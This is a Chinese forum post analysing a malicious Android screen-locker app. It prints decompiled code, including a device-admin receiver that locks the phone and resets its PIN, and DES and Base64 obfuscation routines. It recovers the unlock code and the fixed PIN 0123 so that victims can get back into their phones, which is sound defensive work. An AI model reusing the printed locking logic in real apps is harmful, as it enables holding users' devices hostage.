社区应用 最新帖子 精华区 社区服务 会员列表 统计排行
  • 541阅读
  • 0回复

[分享]一款恶意锁屏软件的破解(简单的DES加密混淆)

楼层直达
z3960 
级别: FLY版主
发帖
786360
飞翔币
211578
威望
215717
飞扬币
2615651
信誉值
8



0x01 打开恶意软件


打开该应用的时候提示激活设备管理器,一般的小白用户很容易会点击激活按钮

当点击激活之后,手机进入锁屏状态:

破解思路:找出解锁码的计算方式。

0x02 初步分析


拉入JEB2进行分析。找到解锁按钮的点击事件:

代码的逻辑是从SharedPreference中获得“passw”的值,然后通过decrypt方法来解密出解锁码,跟用户输入的解锁码进行比对,正确则移除锁屏。用adb命令把该app的shared_prefs文件夹拉到本地adb pull /data/data/com.xcszsj/shared_prefs

得到passw的值为:ed3a2881de33133d700ecb6bb7b627a9。

0x03 分析decrypt函数


decrypt函数是在DU类中实现的:package com.xcszsj;import java.security.Key;import javax.crypto.Cipher;import javax.crypto.spec.SecretKeySpec;public class DU {    private Cipher decryptCipher;    private Cipher encryptCipher;    private static String strDefaultKey;    static final {        DU.strDefaultKey = "national";    }    public DU(String str_flower) {        DU v0 = this;        super();        v0.encryptCipher = null;        v0.decryptCipher = null;        DU v6 = v0;        String v7 = str_flower;        try {            Key securekey = v6.getKey(v7.getBytes());  // securekey            v0.encryptCipher = Cipher.getInstance("DES");            v0.encryptCipher.init(1, securekey);            v0.decryptCipher = Cipher.getInstance("DES");            v0.decryptCipher.init(2, securekey);        }        catch(Exception v6_1) {            v6_1.printStackTrace();        }    }    public DU() throws Exception {        this(DU.strDefaultKey);    }    public static String byteArr2HexStr(byte[] arg12) throws Exception {        byte[] v0 = arg12;        int v2 = v0.length;        StringBuffer v3 = new StringBuffer(v2 * 2);        int v4;        for(v4 = 0; v4 < v2; ++v4) {            int v5;            for(v5 = v0[v4]; v5 < 0; v5 += 256) {            }            if(v5 < 16) {                v3.append('0');            }            v3.append(Integer.toString(v5, 16));        }        return v3.toString();    }    public String decrypt(String arg9) throws Exception {        return new String(this.decrypt(DU.hexStr2ByteArr(arg9)));    }    public byte[] decrypt(byte[] arg6) throws Exception {        return this.decryptCipher.doFinal(arg6);    }    public String encrypt(String arg6) throws Exception {        return DU.byteArr2HexStr(this.encrypt(arg6.getBytes()));    }    public byte[] encrypt(byte[] arg6) throws Exception {        return this.encryptCipher.doFinal(arg6);    }    private Key getKey(byte[] arg12) throws Exception {        byte[] v1 = arg12;  // flower.getbytes        byte[] v3 = new byte[8];        int v4;        for(v4 = 0; v4 < v1.length; ++v4) {            if(v4 >= v3.length) {                break;            }            v3[v4] = v1[v4];        }        return new SecretKeySpec(v3, "DES");    }    public static byte[] hexStr2ByteArr(String arg14) throws Exception {        byte[] v2 = arg14.getBytes();        int v3 = v2.length;        byte[] v4 = new byte[v3 / 2];        int v5;        for(v5 = 0; v5 < v3; v5 += 2) {            v4[v5 / 2] = ((byte)Integer.parseInt(new String(v2, v5, 2), 16));        }        return v4;    }}
可以知道,这里使用了DES加密,所以接下来的关键就是找到加密的密钥。

0x04 解密


回到调用函数的对象v0.this$0.des.decryptthis$0代表的是父对象,也就是s类:

分析des的生成:

作者故意多做了几个步骤来增加逆向的困难。下面看看DU的构造方法: public DU(String str_flower) {        DU v0 = this;        super();        v0.encryptCipher = null;        v0.decryptCipher = null;        DU v6 = v0;        String v7 = str_flower;        try {            Key securekey = v6.getKey(v7.getBytes());  // securekey            v0.encryptCipher = Cipher.getInstance("DES");            v0.encryptCipher.init(1, securekey);            v0.decryptCipher = Cipher.getInstance("DES");            v0.decryptCipher.init(2, securekey);        }        catch(Exception v6_1) {            v6_1.printStackTrace();        }    }
在分析之前我特意百度了一下DES加密在Java中的实现。v0.encryptCipher.init(1, securekey);
init方法第一个参数1代表加密,2代表解密;第二个参数是密钥。后面可以通过调用encryptCipher的doFinal方法进行加密,调用decryptCipher的doFinal方法进行解密。
DU类的构造方法传入的是一个字符串,然后通过getKey方法获得密钥。这里作者先是传入“flower”,通过getKey方法得到密钥:666c6f7765720000,然后用这个密钥解密c29fe56fa59ab0db,解密得到"xxx",作者再将这个解密出来的字符串再次作为DU的构造参数传入得到新的DU对象。同样的我们通过getKey方法得到新的密钥7878780000000000。现在我们可以解密0x02中得到的加密解锁码(ed3a2881de33133d700ecb6bb7b627a9)了。解密得到:50003279,是本机ID5003280减一。

0x05 设备锁屏密码被修改了


找到MyAdmin类,这是处理设备管理器发送出来的消息的。public class MyAdmin extends DeviceAdminReceiver {    public MyAdmin() {        super();    }    @Override public CharSequence onDisableRequested(Context arg13, Intent arg14) {        String v7 = M.getsss(BAH.getString(arg13.getResources().openRawResource(2131099649)).replaceAll("n", ""));        this.getManager(arg13).lockNow();        this.getManager(arg13).resetPassword(v7, 0);        return super.onDisableRequested(arg13, arg14);    }    @Override public void onEnabled(Context arg20, Intent arg21) {        Class v14;        MyAdmin v0 = this;        Context v1 = arg20;        Intent v2 = arg21;        String v7 = M.getsss(BAH.getString(v1.getResources().openRawResource(2131099649)).replaceAll("n", ""));        Intent v11 = null;        Intent v12 = null;        Context v13 = v1;        try {            v14 = Class.forName("com.xcszsj.s");        }        catch(ClassNotFoundException v11_1) {            throw new NoClassDefFoundError(v11_1.getMessage());        }        super(v13, v14);        v11.setFlags(268435456);        v1.startService(v11);        v0.getManager(v1).resetPassword(v7, 0);        super.onEnabled(v1, v2);    }    @Override public void onPasswordChanged(Context arg13, Intent arg14) {        String v7 = M.getsss(BAH.getString(arg13.getResources().openRawResource(2131099649)).replaceAll("n", ""));  // ==wMzEDM        this.getManager(arg13).lockNow();        this.getManager(arg13).resetPassword(v7, 0);        super.onPasswordChanged(arg13, arg14);    }    @Override public void onReceive(Context arg8, Intent arg9) {        Log.i("------", "onReceive-----");        super.onReceive(arg8, arg9);    }}
关键代码:String v7 = M.getsss(BAH.getString(v1.getResources().openRawResource(2131099649)).replaceAll("n", ""));v0.getManager(v1).resetPassword(v7, 0);
v7就是新的锁屏密码。搜索“2131099649“,未果;搜索它的十六进制形式“0x7f060001”发现它是代表apk里的这个文件:

将BAH.getString导出来,执行一遍发现它只是把字符串“Cj09d016RURN“返回而已。接下来分析M.getsss方法:    public static final String getsss(String arg21) {        String v2 = new String(Base64.encode("by:彼岸花 qq:1279525738".getBytes(), 0));        CharSequence v3 = v2.subSequence(3, 4);        CharSequence v4 = v2.subSequence(4, 5); //这里以上的代码可以导出执行,然后打印出v3和v4的值        return new String(new String(Base64.decode(new StringBuffer().append(new StringBuffer(new String(Base64.decode(arg21.replaceAll(v3, "三生石畔").replaceAll(v4, "彼岸花开").replaceAll("三生石畔", v4).replaceAll("彼岸花开", v3).toString(), 0))).reverse()).append("").toString().toString(), 0)));    }
这里作者故意混淆了一下,通过代码分析和运行测试,可以知道v3 = 6;v4 = 5;然后把“Cj09d016RURN”中的6换成5,然后第一次解码:

得到==wMyEDM,然后逆序为MDEyMw==,第二次解码:

得到锁屏密码0123
总结:该恶意APP通过随机数生成本机ID,然后用这个ID减一的值作为解锁码,并且在代码中通过各种加密解密来增加逆向的难度;而锁屏密码是通过Base64加密和其他方式混淆之后存放在文件中,每台机子都是一样的,解锁pin码为0123。
我不喜欢说话却每天说最多的话,我不喜欢笑却总笑个不停,身边的每个人都说我的生活好快乐,于是我也就认为自己真的快乐。可是为什么我会在一大群朋友中突然地就沉默,为什么在人群中看到个相似的背影就难过,看见秋天树木疯狂地掉叶子我就忘记了说话,看见天色渐晚路上暖黄色的灯火就忘记了自己原来的方向。